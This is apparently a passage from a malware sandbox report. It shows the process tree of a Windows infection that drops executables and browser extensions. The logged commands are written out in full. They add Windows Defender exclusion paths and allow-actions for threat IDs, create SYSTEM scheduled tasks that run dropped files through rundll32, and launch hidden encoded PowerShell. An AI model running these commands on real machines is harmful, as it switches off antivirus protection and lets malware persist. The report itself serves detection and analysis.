                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
                                                                                                                3⤵
                                                                                                                  PID:1908
                                                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\NuNDxVhSfKiQUmJwJAR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\NuNDxVhSfKiQUmJwJAR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\QtKEgKYoTGTqC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\QtKEgKYoTGTqC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ZEkGlaTFWGUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ZEkGlaTFWGUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\dlfHiRefefjU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\dlfHiRefefjU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\hsUwQAlMU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\hsUwQAlMU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\nivjmgppGaMJQQVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\nivjmgppGaMJQQVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\DQsmlqqwNqJuTewVy\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\DQsmlqqwNqJuTewVy\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\QqEAMUespgTHJnVz\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\QqEAMUespgTHJnVz\" /t REG_DWORD /d 0 /reg:64;"
                                                                                                                2⤵
                                                                                                                • Drops file in System32 directory
                                                                                                                • Modifies data under HKEY_USERS
                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                PID:4036
                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                  "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NuNDxVhSfKiQUmJwJAR" /t REG_DWORD /d 0 /reg:32
                                                                                                                  3⤵
                                                                                                                    PID:932
                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NuNDxVhSfKiQUmJwJAR" /t REG_DWORD /d 0 /reg:32
                                                                                                                      4⤵
                                                                                                                        PID:3280
                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NuNDxVhSfKiQUmJwJAR" /t REG_DWORD /d 0 /reg:64
                                                                                                                      3⤵
                                                                                                                        PID:5040
                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QtKEgKYoTGTqC" /t REG_DWORD /d 0 /reg:32
                                                                                                                        3⤵
                                                                                                                          PID:4492
                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QtKEgKYoTGTqC" /t REG_DWORD /d 0 /reg:64
                                                                                                                          3⤵
                                                                                                                            PID:1848
                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZEkGlaTFWGUn" /t REG_DWORD /d 0 /reg:32
                                                                                                                            3⤵
                                                                                                                              PID:4548
                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZEkGlaTFWGUn" /t REG_DWORD /d 0 /reg:64
                                                                                                                              3⤵
                                                                                                                                PID:3840
                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\dlfHiRefefjU2" /t REG_DWORD /d 0 /reg:32
                                                                                                                                3⤵
                                                                                                                                  PID:4480
                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\dlfHiRefefjU2" /t REG_DWORD /d 0 /reg:64
                                                                                                                                  3⤵
                                                                                                                                    PID:792
                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\hsUwQAlMU" /t REG_DWORD /d 0 /reg:32
                                                                                                                                    3⤵
                                                                                                                                      PID:2636
                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\hsUwQAlMU" /t REG_DWORD /d 0 /reg:64
                                                                                                                                      3⤵
                                                                                                                                        PID:1660
                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\nivjmgppGaMJQQVB /t REG_DWORD /d 0 /reg:32
                                                                                                                                        3⤵
                                                                                                                                          PID:2064
                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\nivjmgppGaMJQQVB /t REG_DWORD /d 0 /reg:64
                                                                                                                                          3⤵
                                                                                                                                            PID:4676
                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                                                            3⤵
                                                                                                                                              PID:3820
                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                                              3⤵
                                                                                                                                                PID:1688
                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                3⤵
                                                                                                                                                  PID:3548
                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                  3⤵
                                                                                                                                                    PID:1244
                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\DQsmlqqwNqJuTewVy /t REG_DWORD /d 0 /reg:32
                                                                                                                                                    3⤵
                                                                                                                                                      PID:716
                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\DQsmlqqwNqJuTewVy /t REG_DWORD /d 0 /reg:64
                                                                                                                                                      3⤵
                                                                                                                                                        PID:4704
                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\QqEAMUespgTHJnVz /t REG_DWORD /d 0 /reg:32
                                                                                                                                                        3⤵
                                                                                                                                                          PID:3112
                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\QqEAMUespgTHJnVz /t REG_DWORD /d 0 /reg:64
                                                                                                                                                          3⤵
                                                                                                                                                            PID:2432
                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                          schtasks /CREATE /TN "gUmfUldau" /SC once /ST 03:06:16 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                                                                          2⤵
                                                                                                                                                          • Creates scheduled task(s)
                                                                                                                                                          PID:3304
                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                          schtasks /run /I /tn "gUmfUldau"
                                                                                                                                                          2⤵
                                                                                                                                                            PID:4860
                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                            schtasks /DELETE /F /TN "gUmfUldau"
                                                                                                                                                            2⤵
                                                                                                                                                              PID:1884
                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                              schtasks /CREATE /TN "ZTNkTKukmvvbOMPkn" /SC once /ST 04:20:44 /RU "SYSTEM" /TR "\"C:\Windows\Temp\QqEAMUespgTHJnVz\WeEdkAGsJlpiURx\UUzkquN.exe\" 0c /zQdUdidGj 385128 /S" /V1 /F
                                                                                                                                                              2⤵
                                                                                                                                                              • Drops file in Windows directory
                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                              PID:1752
                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                              schtasks /run /I /tn "ZTNkTKukmvvbOMPkn"
                                                                                                                                                              2⤵
                                                                                                                                                                PID:2508
                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 988 -s 1016
                                                                                                                                                                2⤵
                                                                                                                                                                • Program crash
                                                                                                                                                                PID:5092
                                                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                                                                              C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                                                                              1⤵
                                                                                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                              PID:2500
                                                                                                                                                              • C:\Windows\system32\gpupdate.exe
                                                                                                                                                                "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                                                2⤵
                                                                                                                                                                  PID:1492
                                                                                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                                                                                C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                                                                                                                                                                1⤵
                                                                                                                                                                  PID:4656
                                                                                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                                                                                  C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                                                                                                                                                                  1⤵
                                                                                                                                                                    PID:1048
                                                                                                                                                                  • C:\Windows\system32\gpscript.exe
                                                                                                                                                                    gpscript.exe /RefreshSystemParam
                                                                                                                                                                    1⤵
                                                                                                                                                                      PID:2712
                                                                                                                                                                    • C:\Windows\Temp\QqEAMUespgTHJnVz\WeEdkAGsJlpiURx\UUzkquN.exe
                                                                                                                                                                      C:\Windows\Temp\QqEAMUespgTHJnVz\WeEdkAGsJlpiURx\UUzkquN.exe 0c /zQdUdidGj 385128 /S
                                                                                                                                                                      1⤵
                                                                                                                                                                      • Checks computer location settings
                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                      • Drops Chrome extension
                                                                                                                                                                      • Drops file in System32 directory
                                                                                                                                                                      • Drops file in Program Files directory
                                                                                                                                                                      • Modifies data under HKEY_USERS
                                                                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                      PID:4576
                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                                                                        2⤵
                                                                                                                                                                          PID:2176
                                                                                                                                                                          • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                            forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                                                                                                                                                                            3⤵
                                                                                                                                                                              PID:3896
                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                                                                                4⤵
                                                                                                                                                                                  PID:3452
                                                                                                                                                                                  • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                                                                                    5⤵
                                                                                                                                                                                      PID:4844
                                                                                                                                                                                • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                  forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                                                                                                                                                                  3⤵
                                                                                                                                                                                    PID:1184
                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                                                                                      4⤵
                                                                                                                                                                                        PID:3952
                                                                                                                                                                                        • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                                                                                          5⤵
                                                                                                                                                                                            PID:2160
                                                                                                                                                                                      • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                        forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                                                                                                                                                                        3⤵
                                                                                                                                                                                          PID:3900
                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                            /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                                                                                            4⤵
                                                                                                                                                                                              PID:1804
                                                                                                                                                                                              • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                                                                                                5⤵
                                                                                                                                                                                                  PID:3556
                                                                                                                                                                                            • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                              forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                                                                                                                                                                              3⤵
                                                                                                                                                                                                PID:2220
                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                  /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                    PID:3068
                                                                                                                                                                                                    • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                        PID:4056
                                                                                                                                                                                                  • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                    forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                      PID:3040
                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                        /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                          PID:1960
                                                                                                                                                                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                            powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                            • Drops file in System32 directory
                                                                                                                                                                                                            • Modifies data under HKEY_USERS
                                                                                                                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                            PID:3320
                                                                                                                                                                                                            • C:\Windows\SysWOW64\gpupdate.exe
                                                                                                                                                                                                              "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                PID:792
                                                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                        schtasks /DELETE /F /TN "btZaCbGShXZoJDfvCg"
                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                          PID:4368
                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &
                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                            PID:3904
                                                                                                                                                                                                            • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                              forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                PID:644
                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                  /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                    PID:4824
                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                      powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                      • Drops file in System32 directory
                                                                                                                                                                                                                      • Modifies data under HKEY_USERS
                                                                                                                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                      PID:3444
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                                                                                                                        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                        PID:3832
                                                                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\hsUwQAlMU\cJePQi.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "ucrVpivlTlXwlAC" /V1 /F
                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                • Drops file in Windows directory
                                                                                                                                                                                                                • Creates scheduled task(s)
                                                                                                                                                                                                                PID:3148
                                                                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                schtasks /CREATE /TN "ucrVpivlTlXwlAC2" /F /xml "C:\Program Files (x86)\hsUwQAlMU\fWnaqMk.xml" /RU "SYSTEM"
                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                • Creates scheduled task(s)
                                                                                                                                                                                                                PID:4580
                                                                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                schtasks /END /TN "ucrVpivlTlXwlAC"
                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                  PID:2432
                                                                                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                  schtasks /DELETE /F /TN "ucrVpivlTlXwlAC"
                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                    PID:2500
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                    schtasks /CREATE /TN "gXuMbmSriUtfuo" /F /xml "C:\Program Files (x86)\dlfHiRefefjU2\zJOyYtD.xml" /RU "SYSTEM"
                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                                                                                    PID:872
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                    schtasks /CREATE /TN "ZEKxHChbZmoqN2" /F /xml "C:\ProgramData\nivjmgppGaMJQQVB\ErrhWRm.xml" /RU "SYSTEM"
                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                                                                                    PID:2836
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                    schtasks /CREATE /TN "GJlNcuNKEmfKGuMTK2" /F /xml "C:\Program Files (x86)\NuNDxVhSfKiQUmJwJAR\qrWMmiR.xml" /RU "SYSTEM"
                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                                                                                    PID:2508
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                    schtasks /CREATE /TN "jVeWQSRcqyudsTDYlcg2" /F /xml "C:\Program Files (x86)\QtKEgKYoTGTqC\cQcdUOx.xml" /RU "SYSTEM"
                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                                                                                    PID:484
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                    schtasks /CREATE /TN "BjyVbWVaXyfCTlHuI" /SC once /ST 01:39:49 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\QqEAMUespgTHJnVz\qjvldyul\rpaqsQG.dll\",#1 /ZLKrdidyFow 385128" /V1 /F
                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                    • Drops file in Windows directory
                                                                                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                                                                                    PID:5048
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                    schtasks /run /I /tn "BjyVbWVaXyfCTlHuI"
                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                      PID:4768
                                                                                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                      schtasks /DELETE /F /TN "ZTNkTKukmvvbOMPkn"
                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                        PID:4108
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 4576 -s 2292
                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                        • Program crash
                                                                                                                                                                                                                        PID:2352
                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
